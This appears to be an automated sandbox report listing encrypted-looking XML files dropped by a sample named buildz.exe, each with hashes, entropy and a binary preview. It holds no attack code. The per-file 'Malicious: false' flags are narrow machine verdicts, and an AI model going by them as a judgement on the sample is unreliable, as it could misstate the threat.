SHA1:	9040E5D43ED9C33C5B236387769E2E16FED38E81
SHA-256:	138CFB35A1F439052C0B1AA8CBAEAFE5D2BA863186953381B098DA38C31C70CF
SHA-512:	80486453900F5DB786ED7926AE17FB34AA2FEEDC21575D9DED3C79DE2E669C1362AD51D430030D114234D5C4F05C77E7DBFBBAB543E07DD61681A7E3465F6A49
Malicious:	false
Reputation:	unknown
Preview:	.<?...6R..s..`.J.9D.~.3....M..m\...8-r.J.....r:.....:.\|..<......G.uk.....eq.)....N.....H.^CV.....y. .H.u{.%o....y..!y.F(.....X....u.\.O..1.}S.....D.V...}...$WbUw%..,.!N.5.u....#q.tP....Q.2..a..........q&....>N.k..W..E......!Md..<..x..0.Q4vM.....<...m..B...=%Y<\|#.....Ko..!...R...\|...T....Qn..].Z.lu..s..$=..........ST$..h.. .......q.vR.........A.KM..y.de^WL..r....Yp>p8..w......Z......!CG...N.T..a..`..kf.mg....<.p..~.-."Q2.y..$...`P.Q._..p...7vx...++....@Y.l..5W..AFZ...1......[K:K.?.+#.....9}.K.aq.....J..w....A...i.n.ye9....1N+..0O.....m..i.>NS{.sl9.~..xh..O.3.$?90..p.p.....).....7g.fA.S`P...O..J&.q....2\.."..{.!.v.I.5.,.H....Ef.......&.o..L.S.......{5.H..$......<.>.\|..9..>'...4...\..`.Gs7q..T...T..d)........IZN.J...q......hA...W.&m..vv.....)z.PE.. .YC...`x~<....a..f..c{.....q'-.u..oB........R...@!c.+b..;.Ss.......Q..1..g9N$Q...X..QO..WU...@......}Kt....5.y=8t.m,.Rf.....F..V......'.z..L~!b.Y...a]...u..........m4.c/1..h...=..d.J>E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule700501v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.880178995516101
Encrypted:	false
SSDEEP:	48:dKxVsvVowM231IX8YHpXmwkIalQUsIDmWwane90VX9ZZD:dEVz52OpVuQHAne905N
MD5:	0650D0403114719236525659C284CD33
SHA1:	283A1721DB1EE34C8DD6B0754ADD3D36B0D08976
SHA-256:	EB90870210C94690CFC298786618C9C5957998C4E0E49385BF3C174120179C70
SHA-512:	13E928C97260A7DD250C0605C6FF8F1E062907D1E41FDF23EB293C74518A03D60F19BAABB4D23F2A6677F1918A20D11EDF9481A4D1014EF27D9596E6A3A1FBC7
Malicious:	false
Reputation:	unknown
Preview:	.<?\|O.8.n..B.~W..n..m..p.9..2.....<.M..\....x...."1{\..V...w."nY..s...85.8....J.$$..#...']).(1.4c....D}......gG..W.+..k..C..P.7.....b.xII.0...6.....S0..../.@.u.....l..!..K.b.x.#.....J...z._..".l.2.8....rS..3...}T...Ih.M..#...j..Rw.I..&v%).^..X..).:.jRrp...G>6.z[..5.:.nU.g...~3..z.}....9....p.wd}......VL.>?..._}..(.O@}L.I.V..\.n?.@....'...S..7+U.6..&)..rS..34".x..p...#S.[Cb.C.~m.$.mT..]{..(._...".1.W.. ].=.I.@..)Wj.\|W.K..9.....1.$..j.%a:.}..L,..y......L.$..+5\.....TU.0.h.\|..........X$......t..........fF6,}.Q."..}$v.lQa....0.....z.i....'.m....g....C.VB&..\|.....H.........Z..<._P;h........j\_Z.x.O../X..l[Z...y...,.`.......N...z...w......h}Z.......PhXu"w.U46......>h.2.s..xp.....W.Z.].f........&<3..^..1d.l....rQ...0..3W...7x..7....BA.d.....b.....B...\.j ..v....G*..!0i.........$..!...p..Q...?N.l.V.tr.N.\=,F.(j....I..SP..l.W...".z.V...c.e.r.Y..jF...6.j...T,......aE.%jale.u.g.....1..t..<~x...^6./N.U.@I..;A.ZW..LP....4?c...ye.;.....:MU..G$.k5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule700550v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.878603776439966
Encrypted:	false
SSDEEP:	48:LZ4BZEHAHnEROyoU0F91JPEljG5hdqj18p41/87D:L2AHTROdU0FdPElUhk/E3
MD5:	9F2781626C7447B063254F66CB6CB9AA
SHA1:	5D4F01C78B5DDD5A437DBE013D34D79F8C1B33A2
SHA-256:	B02872A32C6C2F34D181511AD1C3211F4E456FDC36CE783DEF903BCA64952079
SHA-512:	19CD9ABA5EE655A68F6B33DA9B842C670C9F42647C556D0A85E048DD38EB963F61CB74F381049BCEAA298280B4FF60C6CAA6422FE67C7F33BEA3F6FDC9B87783
Malicious:	false
Reputation:	unknown
Preview:	.<?z6.j.^..e,./-......>..%.c.AL....9.;.xi...Lp.yV....9.X@.Kq.....7.". .. .0......B.PG.O.zNU.?>f..Tt.ma.ccY..Kj.E.%.P.1..U?......&.p..p..?..&bs1.>...).....r_IGu.t...&9..v.....\|...+w.A..W.JbB.=...bK...<U.C......./.h..h.\..M@.G.zi....5}.....1..N.\|.+@)d.N...#.m+.=......I@.?\.8...F.l.3.....n.....4u....M......!.Z...u.}!.X..?.7..&U.F.7 .........2....ea.....J.......EI8.x@..t..+.<."..`.2..3..Z@D..Rd.-=...Xt......i......V....':..RK...E.....+0...?r>....._....~....i..B.Z..........Z.,....p......t{..r.3..)c.&..1.g..t..K..ck.it~o.er.....pO..P.....s.[...,.......4...0../..-...m.....}.j.8Y..>......xx3.!...Ea.&.b.....d..,t.i>...V8..].s.y........\|...g.9...\|.T..b.K.u...^.=s...J[..h.....E<.Z...t.F....F..F!...._.5..n8.p.Bm?d]..#<!.J..i..W.}...}.W...!..O.........s........R.D.w.of:/...3..=.>..X....8Z..L.x-.7.@!....>.........]...n .jvb.....mO.....J......(.P.3....P.q.p_..M...I....4^..`....6g.\;......F..'x....j.....=..rh@5&...%...^......r-.d.k..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule700551v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.888914847601278
Encrypted:	false
SSDEEP:	48:LnMXSwRuIcaQTSuxfJKB+v4gC6gIhY/I+ZSDDwIg1D:LMXCbBTSwYBp16gIhY5Z2LG
MD5:	801B401A1A32C05F894C81B5426058D1
SHA1:	35E529AF8891268FEF0DFAA5E8DA8AAA6104BB38
SHA-256:	C50A5EF6D3D89E99AC8FF8445B7D68C68C3250C1852BAE945A6C0DFD52A4CE62
SHA-512:	64F6F9842998725B19D6DF6E22F8828BAB4FC48BD244049EA6B6E25BF6B59BA6B61BEF92AFCF1D04584910EA1C3D80D376930EBE182BB8E063B38A044F511E10
Malicious:	false
Reputation:	unknown
Preview:	.<?...V...T.v.!?.....b.i..\.D4...].uV.W.b..4...0.bE/.Gb.....Ao.P.RSH.)...D...{.c.[j]2....`.b...t.#.u%.3X..5Ce..a...K..->P]<X."/J...&.\|\|..yr..hG.w.\|..hYj....>.._..~.?>Ri...r/.D)....y#>.4..6.....p..!.u....%..Y....;.....X..h.B..OFS...Z4.....c...d.......n.\|../i.9.>..T.A....t./u..P.x.\|...!.P..kM.D.n..\|.-.G..YS..p.CJ^D/...zN.B6[8.7F.%t...?.0..DwT.F.!hR.0=+..x..Y....#\|....f.%zs....BJ!...F<.#..+..a.V..K.\|..^...E.']..5]...RY...>..._@~....i.. +Y.l.B...L....J.w..:.{^.r.IL.1k.....7n...d..........v.E.jh#.n<.E....S..x.?..[.K..(...q`].5.;..ak.b'.....p..44...@.r.......T...v..Z.jO.kG =q.].%................O._8.X7N...]T...7.=YR.r ..(.m.......U...&.I...U.."3}..t...>9...hx..cS^...zp.6.Fj...J..y@C.b..2)qYC,...f9}.....c....K...8"..i..a'...G....D..AW1]..?..P/.`"G....O.....J".....".o..I..Ba.......1.S.0...{?..7......3...../......,..G...rY.D...?...hA..0......?.8.D.....$..2...D..{..w.:)....P\|_.B..R'w..8%.....9a..].Un=.......S....e.....hSQq.,........."<..^u.&..WX.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule700600v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.868769949882345
Encrypted:	false
SSDEEP:	48:L0lscnTmoK+DQr6chxRLzS5xeBZ+wqZWfzkwb7xMD:LUmYQtLzSDxOkqC
MD5:	C99548D26E7AC175C893155F02B58A08
SHA1:	B69E58E6EBDCF5FD8DC5D0B1A9EC4FA0A31607D4
SHA-256:	8E9A175316A51B7221CB0C158DF898396374F3516236916A4FFD5DEBE3243049
SHA-512:	FE8D7175A893109A253A00B0509B050568B0AC05C0748BAF586C1C9456033973BCC44F208355941E18BC64A72DEAB467DFA3B8BD675B5A3C4E554B25119CF5CB
Malicious:	false
Reputation:	unknown
Preview:	.<?.P.. .>...sj4..T...y.W.;3:1>.\...zhu.O+&..b...d.p....z....r....p;w\|9..e).......N...i.TQ.s,..>..8...0.....\|....8L.....j..B.E7.B.?..8.>.~....Y)..3;..$.<e...2.Bq....C.....?..."..zh....`.%v.6Q.........OE.....K..z.-.+....W...3.z.#..q[....Ia.&..\|....e../..5.8.......sG.dQ..tm>.3C./[.T.0._.\.....T}....d.o.T..t.[..`.....j_....5 ...........,..r.0&.w_...xIE.)kN...F...^..:..w.....rXv...u.=..;.ol.....&....g.....c.R..U....#..5C........Z....n.{..CC...H...o6...v..>.8xP./.DZ._`'.^.0.,D>h.<...].........n[-.G.J.F.b.D....+......../..w%-...{.......=...C.U.>..gq-.@5f.h7....#.^Z...x..{o..F.GC.&U..Cp..+..E.-.s7.........5...d.].......mO.!...7?...i.l......w.vHJ..l.w(c......h7F...hx.Ui..z..2..C....^.d...#......D.ZZG.r]...K..fJ.<..E.D....)#...?..p...x.+.L..XI.m?.9.......XI......zO.._.m...M.....k.:.9...n'._...Z.0..P.~.WC-G..'.....F.T.]..-6......lG..9Y...B..........!.yT.:....F...o.Ce....8.-.\.xKr.\...Q.}4..Ub...r....p .g0..g...*A.zoi..z.....pd?N.....9....9.....m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule700601v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1735
Entropy (8bit):	7.887138575646363
Encrypted:	false
SSDEEP:	48:wuNlh1GGmZLiJQfzUYi2jyx5oUgFxGNZFvR+4DaD:wWv1/m+Qfz7iCgQYjvRw
MD5:	D543AE5812D6E0B90A8C10CDF630FEFA
SHA1:	7796825C7A407700F29FE4657F071B740A6FCF25
SHA-256:	0801E688C698541357B63177477228F05C2C229A85AB1BC30B1D37CE5FE6CAA5
SHA-512:	E8EFCBD3B17AE82C22E7BF1138A50EBA23B5454669BF3DDC76516A93E3F1FF166C794DCBEAF33EDE86CD056596567DE274E75EA111AB1410CCF8F1880289AD2E
Malicious:	false
Reputation:	unknown
Preview:	.<?......o......].s....v>lnT>..].L#...Q...}_.!a=....y.......7..;`..B.-....z.:......+F..K."..p.^na....@....__.9&^}/..@=.h[#...8..8....r.?.LR.bt..H.;.~...qG.7l.Q.wgS.J....G..\|U..k....._..~YH.:X..._.WS.........4.D...C..[.A...U6....L....?..b.K.Ks5.....fG....8Q...M..O."...p5H=uoq.4.0}...5.g....\|./......i;..."...hv..M8shOX6D.,.jY.3BFmGs.k#.....-2.....y....]z...`..\...{Z`#.YT?.3`...x...b.4...3...`..c.wVh.......W.e`X.zjX........en./S..m..\.Ye&.[P0...B[.2...5.H.....i>...9..!....%...t...U....o...3...k..D.s.kr#.5~.U...s...Y\|.o......xR.u!-......_.O.a../..I".P........b....T.....;q...v...u.k5...(.!E]...g.BZ.(.;...i~...b.E...z.6...k.Q9Z.s.5b.Zq"..NU`jPWltq<.@Q.r8Z.+=.]...z....`.)G............2..<.....<..8i...V..NZ....l..3MA.?.`..H.^.yW.L(.^.....)1y..1l.L.....x)..&.}.1..c.[f.>)..g..}.u...%....I.....b.%[.M...../X..#Ni...4.H.H.&...d.........^..2.Zr..;Sp....~N(.]k&,#.\|1.[..h.)..2...cf..E\..oz./..k:v....eL..\..0,6..($....$k.2.x.D~tG.PM....>c....4.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule700650v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.879366256345462
Encrypted:	false
SSDEEP:	24:+Tlw5iSnI+KNzcWMEjdU17YwzsPWAaWQO5/Y14Dfbbxov/AimqVPE6Kzk+Hdjyku:V4S+8gQ7YwoPWAadOAggVc6Qj9yQQvD
MD5:	1D367B36A4F10298ECE0C1F7DC4F9E66
SHA1:	14CD6914CBBD2B0D0CEDCA1DD83619B59250BA71
SHA-256:	B5B4B406A0991BEB514C880D7035EF8F3D623FDEFBB1BEA7FDB6869D8FEDEE6F
SHA-512:	7A9BA38B3F3190914BAD3A50E3C5C1FE7F6E8AACEDC5A56AFCEE4CC49A2145EA823E21DAD1BD42EF63AC933E03DA16C18DCF2B67AE059435B00B4B69477CBE2B
Malicious:	false
Reputation:	unknown
Preview:	.<?.7..20.....k.e!B(..BY6.x..=..F.).?...F.`G.y.8F8...,..Qg..{.r.....O..\|.d.Q...Zg...s.v...6Q..o...}.n.FV.......B...C7....R$ .yb-[..S...x..%+..^.N.... .L}..,..7g.3.f ..MP...T.....rO.....^..r4M.......(..#./.}.O@..l..D..V,9=........g..$.fU...G.)VY.....V..=.........v+[..K.B..'^..O.t\.Bj+..P..\|r.j.....G.P..V...u.s._:.rU....>...X@.V.?......).H.Y6....Ch....N.().9..'..nCjqp.B#..f.~Ph......]\|=r.\i..-$Qw......,7>..;."..N=;.$H.vh.k....$...i../@..:..C..ll.. .$F..K[.1.+f...I.... ...........j...z.....;..t+.{\|..J..s...\| li(Z.......,...RCP7\|..=.[..u.q..J.,k..vC.......L.[S.c..@.o.1~ok.&.R.gM!.......e....6...(G...M .b.....b..'Kg.Cl.._.....K...=.e.oY.up.K...(..oX.i\|..Vw.....~.%.Y.'+$.q...V..Bi.}.+w/T..;..}(iL.....:I.KP6."z@..l.niO.h.......2~..2.A.&l....q...G?Y.]>..)?n...O..W..N.....A..g..od..~..2Vb.'.J.a...`.c..e.=.8.x.....@......j...[.Q.....;S.....W.M2$.A.%...N...F..(.(.9T..q.s..i.b...KU..3.+.?#.......[.........d.....9.......9Y.E.........,

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule700651v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.895844696000132
Encrypted:	false
SSDEEP:	48:g29tlUnjg8YzQEb0otESlYvRx3SMETkci9jKUD:x9tKjg8SQqty31PX
MD5:	F1BDF3B1831AC99E9A0C68D9D06B48DB
SHA1:	97A8A26B2C18FDF9B61B6CA5A775A74AB041D19B
SHA-256:	8284F381ED5073F6BA0017D89BB4F7BCC1242DE1220AB10A3979CDF3C76EBD03
SHA-512:	D09ED050EF05663581127A228D1A08175DD83D818987A577647D570591C86EFD56754C3EEAE568B91189F35519C614A2570F9AD5B9474DD6DE0A23FA5860E6D9
Malicious:	false
Reputation:	unknown
Preview:	.<?.2..E.."...M..S#j..X.&:C.....L.......e......ge.....K^b.m!.MG.Fs+..k....{....).....#l..zo.@.J.O$.%]P.w..p.!.'..[.2...@s...G.B..,AYJ...F... ...5f....`.2..$X]...+...$tL..&4...N.G.l._Oi.i..r.........H.....D...c{".W......%I..Li.e.......7..%J......%,....W..H.-9.(....c...!U.5#.....3.8..)..-&.W..dzHK~..!..~h...OO.Z.q...D'.......En..u....C...S.....LIC..G...i..\...,"...Pr..Rn".'w..1.A~....~w..g.].9>.,.W`.....}Y.(..=2W-z..18.`UI..!.L.Rf.......r.5J.4_ ,v..].@.../..[......r....%}/...z.VR....1KQj..LV...y.o..&.hz".i..'6@b..;..].3m.....^.8...B..;.+q'p.3.&..s.qqi.5W..]]<.[.#c.}k$.~.<.`.<fWR!Ylb.zK..;.KZ.d..x{...4.V...I........h;.U..._.\|.i......j.M..&,J.a.-...D.!..weMM..Y...O.....U=V..f=.-.......Q..h.r.T.^..j....g.z./..~.<UM\|W...s..8s...pK...o=~..I....8+..".o.\|p.....kp....y...Q......r..m0.Jw......=c..)....9.p..*..M.G.....u..m..cN...>...m".fy..\|@.r..K/.....p.To.k.`.C.\|.. F...;hz....;".....Q......MXk.].7#...<.."vS...B1..P..r.i....j....c.....L....<.U...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule700700v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.8878882283035505
Encrypted:	false
SSDEEP:	48:5SP2J9XlXKzeA9PK4KvG7Lgyhoy+SDZ0UcrfFzD:5Sqgz9PKAEhhSDLufF
MD5:	15C6142D477734E5BB64C3EAF815EBD1
SHA1:	5415F5A4B836570C8250B2A737F1CF5B917583D4
SHA-256:	A13155B0C358ED066A2FB539012CB5F6207B3A3D94B359BA58E3E0DF04089573
SHA-512:	599F4599D143D3F1CA4BF6338DB9E3A0D9FBC465EF411A07F490CBE72512DA0BB7C2EA023F231DB5856B7183A3439D194BE23C310629494C1C7FD239339EF7CB
Malicious:	false
Reputation:	unknown
Preview:	.<?h.A..6N.Z/>.6...7.7.x...Ub.EdP.$...a........y...pQOCh;.0../...C....0...."_.A.xK-...r.W.M..N....=\...k........k.l..\vK...!..i........#q.."..7.>\|P..k2_.a).l'...i^&5....p.Cja[.B.....O[=...N.oa.W..\Eq$^. .m._.'2...v-v....dro....d...lq3P\..h.i.P.h.D.M9<.H.fKY....S{............f!....I...R.....<-.O..=,......~0....o$v...o,..\|.TN.X...5S.C.!p..f..C..8z#8....C"'1Kc.C\|......?..T.z.y..4.g9w..>?...]./.r.._..^^j..Lf4....>-..;.wu.".;..s.w..z...G.....J...P..WO..,..Zb.~R_..`Ol.W...n;.#+pN......B.;.L..e....%..e....o....G...#.f:....fZT.P".. ...J...9..[..b.....o..Q...._.<....`.#.c.....u..vf#..A/.g.v..-t.#...)RF...E}J.aP5G..../v..\'=m..3.....bt.l!......}.....a...b....N..L..5z....El...O.J}c.W........N....dA..J%...`6'qNKK.n...^^.}..).l.G...;B..Co..m.":.`^.IiF'....4r.4Mp....B.iW ..)t...v:......&./Bt+..M...p..D]..d.....].Q...-.(jH.pM.h.=_.R.klb[s.@.U.5.........9.8..vL.X.@..^8...S...........%...?.K.R2.h...r....3.q5...O...Jw....9p...y`.'B.ex.y.9FN...:..Z8.x.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule700701v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1735
Entropy (8bit):	7.8914573693516274
Encrypted:	false
SSDEEP:	48:RFKU19iDwUbmkbbBkDzstB2SQ12zwXINV2Zy637rRzUA+D:3P19iDwUiMkDzsSdEzrWZ9RzUAG
MD5:	B958DF56D54DEBF14FD68F4A25DE8CD4
SHA1:	6C8A9046BE4E86CC2B6EE61A2B330A0A74716D95
SHA-256:	136CC5E1CB2D63DD3BC05F38E5CB47603877465A62DF0DB679CC2D0A9ACBE812
SHA-512:	978D49E92F0AC1991337CBB467234861811E1D53AEB76275DAC11030B18B962C56F96AA72BCABB4B753ABC4524962E90F32CF59B34EAF1AC809E926E64E0582E
Malicious:	false
Reputation:	unknown
Preview:	.<?....M....3..C.+.T.v....w...lX.Y..........K....sB...[.Z.a..;d.....Y..K.......\...[...'.....2i..8A.+y'@.o_W..#..t.J.../3$6+..1.\..r.4.........7.......{.#...z...aHH..qP...u...h}7...h-T.5.O._6V.....b...T..9..P....G..W..Qigcr........%.v...N.f..c.3.g...z...H.0Hme..'.mf..N.#5..D/...%..FfcR2.../.q.nr.c..Y..?._M.E.B.~T\...#.!.!.x\..B..!....Hv6...W........Kp..B...'".G.j.>.^..o.'..q...[fT..4.qE....]..--.4.}JV.....\R....`.\|........#.L1...oq.r.<.T.V,......5...U........Q..:..............i!...J...{.5..\|x.-....f.X.X.'...h`..+.%.....YJ.v.hU./....R.:(.......`.'E..}.u....c..\K^..t.O.....HY.0...l..P..y.L...P.\|/m...4.2'_(p...m.,...B6uPa..)....=.U.x.5..0.....P.V.nw...NU...4s .W..9.P...u.............,8t.....e}.yNJ...7+-.o..m>...Z...H..2'[..4A..'....6.......u...Qv.m.f.?.{j T./(.#.......r.J..........oc.t:X.s!...%(...+;}......"u.W#.SM..d$1M..7.DZT..O=...-.....(.4..i.z.ShL..4....)@.....v.6..;..>......K..:....y...8...PQ...b....+y...._x.r.<....79

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule700750v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.890741066112412
Encrypted:	false
SSDEEP:	48:jkypW4QEF9L2GuADIsrcNfIDMytt5rM/uTs68CD:jH5kxsgNEMyHxMIs6V
MD5:	B8517A5DE9BC89723E536C470F5F1C1A
SHA1:	FA78BCCA856E60CE476CE81183819ACFA5EFBC23
SHA-256:	F7DEAD65012BCEDDFE03D88A226C6A2D52EE78C79AB29EC240D858C6677FB9E0
SHA-512:	149E2DF6F8052E0B793E30ACF1331BBD8E677083291D64A9D208B8E08577BE432779BF8A0E397F18EEDE9915AAEAEAF557AA05E5B60A271F9DA1406AB576E7E2
Malicious:	false
Reputation:	unknown
Preview:	.<?.....'~.O.".[..xX4./....A?.o.n.......c.>._lMm(..\r..9. s.;....o.zo.U{.....P/j..>..w...h.....s-..!..R.N8^.....O..Z<A..<.......b7....W..:...i:._u..>.T+]l...u1.........x.E....].....8...\|.Z..M#T.V....pZ.2.Q...a.C.......}..Dk.f..;..y\|.n^N.}[-.....c.]F .-..,Clz....v.V..Z.f..sf.....N............u...07U..r.G(.Y.)2..E`....lZ;.5.}..&.!p]a..hY.;fX.=a..W....{.h.....1....#WG......,6W...CP. m.y},].gL...Z.m.;.Y.!-.<..K.....^.yF.v.]./..H.H.9L_.o....g{....LF.2..}.8.~X...,%....@.w.....7d....G@kV&.~~nM..z.;h4..w;g.\|.M85Z.Q.........&.;.P...`.D...o.5...;.T..~;i...c.@=.h&f..k...P1>-s...p.CM.....X..s..N\jT6EX..{f...V..Q2.....n....U...2.<..\|]co..%.'......Z.&....../....(...;..E..0].!..2.....j5...VK...=K0.....}?...._.....P..Q....YY..yl~.../..\&..?y....E..!..6(.T<......Xb..$.........i...o....qz..K.h.m..p..G....7...f....!.$...T+.......<..N\.k^.\.=D;..`.QM..,./d..#.~Pl..W.c..P..@d.vaT...r......D.(...m..[.0 .Vf#..."\|.u{L.QY.&...*kO.\Q..o..NQ.0.bG.........)...o._..g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule700751v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.884119777147413
Encrypted:	false
SSDEEP:	48:PcIUnMGRPxtNhjNst3OrRLIZuYiKXSxS5D:kNnpZvKi6wYOxS
MD5:	74AB64AFCE5A602B5A078DBD9C51872A
SHA1:	F7C261F9A460524E569C2DB6BB3FFF8624270B9F
SHA-256:	DD3FE3EAD31D9B87DA27A867E7CEFC4C794A070CB6527EFD8918E9623C930411
SHA-512:	E9F418DA2FA6592528BC751562D1A44E888AA43B8CFCD14C4EBD362978FD8A2000F3B21492C1B2C49C034332F5CA5F14BEB2FD5C1D6163F4757E4FDFEFCCC23E
Malicious:	false
Reputation:	unknown
Preview:	.<?7.W..~F..!hEX..J.....Nz.......%..8....:..8l!.@..........G..ee...P.....oD.(..........K.FW.A..>.r.....Nm$/."...1.1dj.....\|?.o..H........8N..............[.`).=..W.....@..r..L...H....!b.&.YX.oY&.[.KrE.H.....yk,.r.{.eh-.[.I.K.S.R..0.W.Tw......>..$z....g.S:2}[..jBS(..._.J..<HNY@..u:.os.P..hm.6..V.L.b.W..pW..........@.g...7M.X&#..3.7.o....3>.F.hO.a........X..r..F..U.. ..}K.....p.D?.+.....w!....y.0.=..Mc..P..L f.._e.b.. .\.,.kAk.x(.UH.&.,........k.M.@...e..._.e.m.i..>......B.-..^..;3....5.....O.A.>.....<.6By.....#....H....M.._.....5`.U.%7{....a...~L....L.5_..@G.E....wV.].4..!4..L..jc4..).Hgl.A..2j.%...;(XsHR.n..b.Jv;/......M.:....KkJh0.+wP.\aDr.^...1.m6..YS]#R@.q.~... ..>Kb..Y.k.=..3..a.Q...5._.U..*...@.UVH....$L.[...h,=..AwoZ.3.D.....!m4Xo..%.>.R..5.t~Y.7..v....?....bR......E..H.-.j8.f..v<\|....9.W....N.....&%..t.....ke..........=o.)eF.\|........y3eY.............z.H.h+x.."..~9W{........S../..{...=m.....W...r&........$....tC.75.P...H.MREU.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule700850v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.884409282518337
Encrypted:	false
SSDEEP:	48:s3qQFpNnLfFEQlCSr+Ws75pGXfnNJcQeJBrWwjNqn8O6gd+D:strhNCy+X7/GXLdeKwBqnPw
MD5:	849DBABBE882EE6FCA2661C1278919A6
SHA1:	81AFE2C7C384B20987D745CA491C75A96C65A526
SHA-256:	8FB21AE6300A2C6E54357A196DDE425E07277AEEFC44495FDE9B2F0FEBE36DEA
SHA-512:	73C6D39BA3D451B44EC5CEE63995F38EA61FB47F35D7A30233A073B9D41A7AF1142B5B7D47E87F0665C2AFC110718E7D838678769EA8E1344F5CCF246CB79098
Malicious:	false
Reputation:	unknown
Preview:	.<?..&"q.U.K...u.[N.X.. .D<..... .P...u@..2:...&..]..B.b..IU(..1=.k.h.CR.........6..r[.y2.y..m8.BkN..................g.....R........2..>Jce....J.cS....fVm.cF.J.w..s.2.I..m'J{.....D......f@8.wlri.vR ....\k....s-......h...v2;U.^..H.....lz'.._.......NFKqs]......V...._.....#....}.M......I.......&+..A.2.)..L...,...OA.`..<bb.p..2.X.p...a.k./...HH....\.G. .Q.....j......H..6.8.G'..........m..._..8..Z..d..A...u.B.u..z..{...!Yk.....\|.u[.(Fbj.....a..\..c...\..../T.I.-...U....hB.U..._.......}h....tD.....k$...3..N..LKD-. ....).o..].?..P..C..'.\..c .84.!................A.L[2c.h..`.[.&......>.35ID..6....,...F.>c....f....{?......-.>...@...@...,>...U...L...D....z.U.-....6.J..K..... e...:\|lA.3A.ry..?O..8.,....._.o.6......#.)P7../.....+.I`}.Lp..tW.D..^9j.......Y..c.C_.`@.^>.T.....h!..j..y....P[[..N..]..6I..+..W..w.NS.o..`...c..R.O..3.13....G...T.K.....No.A..(g.F........q....@.<.aOt..&%.C'/7...4.R.^..s....O%......:.&.......?~.>p..Y&.!..u.m..T>o....E...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule700851v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.879717265291027
Encrypted:	false
SSDEEP:	24:2M9LS9hVZWOv4FRn8Gt5vYHRe0CKSodawQqlRBQX2UmtxHmBvNwI9PrlKdTf98ad:2x3Fv2nLngxt/YKLeveI9pwflzrD
MD5:	301712379519B71139E824F27B87AD18
SHA1:	167E5B4E4E571A0E072D53FCD3A0393CBBA84DCF
SHA-256:	EE444F48FBC03EDEB156B381454146BF2EB7166EF32537C602E30E01FD4FEF88
SHA-512:	A7FE9225DB6ED0F8645DFC29F5DF810AEAE76817C876124FDA6424C2FD5EA2D748560F60307C181866D0A5A30011091DA877499040DB8618B099EEEBDD5CAEDD
Malicious:	false
Reputation:	unknown
Preview:	.<?.To..FT$.5~7...7vW./..0hbF..i>..bE..9....8.9..7p.n.d...O(.o.e.M.....w..C...[)..1...$]..}.$.a....7/..Gd..P..2...........E.3G^a.w.\|.Is..d..':....EI.7...#!....Z.v...V.N..I.#FY...FH.....m{.s.. .@I",..L.:....4..$....xu.j...,.......`..Ve.UU.\|.E(..4.Cm....8/...Y..G.]...;..(....'...z&qAn.A.tC.>L..b...9(..U........^.A..4j.Jb.H...t.-.......k.7....E..bF.<..EMx).+.`..yA.j.....Ao.I2dn..4.w.t`C.b.jdRT......1.w..gK.1p./...,.R.}.D.a.......4vNG..m..K.J...}...c..wk&.<.nt..r.^=..ax.....Lv4.W.Bw..g.\..v..DO.....sRAf.$1d......s,.}...%..:..T..Lc"..M4m.G..... ..$.B&..P...r6..=.\.,Cp...9y.2.N...Sc:@.^.h....x.{.}.!....4.}Z.."m..$....2z....N.m.,.....s...H;....[^.<M.8.K.....t...k....GS...$...;t.X...u...1...hTV..jjJ..h..7..}.KgZ....8mw\|..d....Y..G........Wq........^1.to..#.t.... jP.{.e..\....v`.zC6=..8......r...0.l..._.g.l.!.-S2...1.......hEQ....2./Yh$...B8..S.[.A..U..z.=*C.6.6P-X..).b.bv.fC...>f.N_I:,.%..........P..F....... .T3...q....g...7.}G.._x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule700900v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.885890175428249
Encrypted:	false
